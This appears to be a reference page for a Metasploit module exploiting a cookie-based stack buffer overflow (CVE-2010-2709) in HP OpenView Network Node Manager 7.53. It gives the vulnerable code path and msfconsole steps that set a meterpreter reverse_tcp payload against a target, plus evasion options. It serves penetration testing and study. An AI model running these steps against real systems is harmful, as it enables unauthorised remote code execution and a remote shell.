HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow
This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53. By sending a request continaing a cookie longer than 5120 bytes, an attacker can overflow a stack buffer and execute arbitrary code. The vulnerable code is within the OvWwwDebug function. The static-sized stack buffer is declared within this function. When the vulnerability is triggered, the stack trace looks like the following: #0 ... #1 sprintf_new(local_stack_buf, fmt, cooke); #2 OvWwwDebug(" HTTP_COOKIE=%s\n", cookie); #3 ?OvWwwInit@@YAXAAHQAPADPBD@Z(x, x, x); #4 sub_405ee0("nnm", "webappmon"); No validation is done on the cookie argument. There are no stack cookies, so exploitation is easily achieved by overwriting the saved return address or SEH frame. The original advisory detailed an attack vector using the "OvJavaLocale" cookie being passed in a request ot "webappmon.exe". Further research shows that several different cookie values, as well as several different CGI applications, can be used. '
Exploit Rank
- Great
Exploit Authors
- Nahuel Riva < >
- sinn3r < sinn3r [at] metasploit.com >
- jduck < jduck [at] metasploit.com >
Vulnerability References
- CVE-2010-2709
- OSVDB-66932
- BID-42154
- http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02446520
- http://www.coresecurity.com/content/hp-nnm-ovjavalocale-buffer-overflow
Exploit Targets
- 0 - HP OpenView Network Node Manager 7.53
- 1 - HP OpenView Network Node Manager 7.53 (Windows 2003)
- 2 - Debug Target
Exploit Development
Similar Exploit Modules
- exploit/windows/http/adobe_robohelper_authbypass
- exploit/windows/http/altn_securitygateway
- exploit/windows/http/altn_webadmin
- exploit/windows/http/amlibweb_webquerydll_app
- exploit/windows/http/apache_chunked
- exploit/windows/http/apache_mod_rewrite_ldap
- exploit/windows/http/apache_modjk_overflow
- exploit/windows/http/badblue_ext_overflow
- exploit/windows/http/badblue_passthru
- exploit/windows/http/bea_weblogic_jsessionid
Exploit Usage Information
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/http/hp_nnm_webappmon_ovjavalocale
msf exploit(hp_nnm_webappmon_ovjavalocale) > show payloads
msf exploit(hp_nnm_webappmon_ovjavalocale) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(hp_nnm_webappmon_ovjavalocale) > set LHOST [MY IP ADDRESS]
msf exploit(hp_nnm_webappmon_ovjavalocale) > set RHOST [TARGET IP]
msf exploit(hp_nnm_webappmon_ovjavalocale) > show targets
msf exploit(hp_nnm_webappmon_ovjavalocale) > set TARGET [TARGET ID]
msf exploit(hp_nnm_webappmon_ovjavalocale) > exploit
Exploit Module Options
| CGI | The CGI to use |
| COOKIE | The Cookie name to use |
| Proxies | Use a proxy chain |
| RHOST | The target address |
| RPORT | The target port (default: 80) |
| VHOST | HTTP server virtual host |
| BasicAuthPass | The HTTP password to specify for basic authentication |
| BasicAuthUser | The HTTP username to specify for basic authentication |
| ContextInformationFile | The information file that contains context information |
| DOMAIN | The domain to use for windows authentification |
| DigestAuthIIS | Conform to IIS, should work for most servers. Only set to false for non-IIS servers |
| DigestAuthPassword | The HTTP password to specify for digest authentication |
| DigestAuthUser | The HTTP username to specify for digest authentication |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| FingerprintCheck | Conduct a pre-exploit fingerprint verification |
| NTLM::SendLM | Always send the LANMAN response (except when NTLMv2_session is specified) |
| NTLM::SendNTLM | Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses |
| NTLM::SendSPN | Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required |
| NTLM::UseLMKey | Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent |
| NTLM::UseNTLM2_session | Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session |
| NTLM::UseNTLMv2 | Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| UserAgent | The User-Agent header to use for all requests |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::method_random_case | Use random casing for the HTTP method |
| HTTP::method_random_invalid | Use a random invalid, HTTP method for request |
| HTTP::method_random_valid | Use a random, but valid, HTTP method for request |
| HTTP::pad_fake_headers | Insert random, fake headers into the HTTP request |
| HTTP::pad_fake_headers_count | How many fake headers to insert into the HTTP request |
| HTTP::pad_get_params | Insert random, fake query string variables into the request |
| HTTP::pad_get_params_count | How many fake query string variables to insert into the request |
| HTTP::pad_method_uri_count | How many whitespace characters to use between the method and uri |
| HTTP::pad_method_uri_type | What type of whitespace to use between the method and uri (accepted: space, tab, apache) |
| HTTP::pad_post_params | Insert random, fake post variables into the request |
| HTTP::pad_post_params_count | How many fake post variables to insert into the request |
| HTTP::pad_uri_version_count | How many whitespace characters to use between the uri and version |
| HTTP::pad_uri_version_type | What type of whitespace to use between the uri and version (accepted: space, tab, apache) |
| HTTP::uri_dir_fake_relative | Insert fake relative directories into the uri |
| HTTP::uri_dir_self_reference | Insert self-referential directories into the uri |
| HTTP::uri_encode_mode | Enable URI encoding (accepted: none, hex-normal, hex-all, hex-random, u-normal, u-all, u-random) |
| HTTP::uri_fake_end | Add a fake end of URI (eg: /%20HTTP/1.0/../../) |
| HTTP::uri_fake_params_start | Add a fake start of params to the URI (eg: /%3fa=b/../) |
| HTTP::uri_full_url | Use the full URL for all HTTP requests |
| HTTP::uri_use_backslashes | Use back slashes instead of forward slashes in the uri |
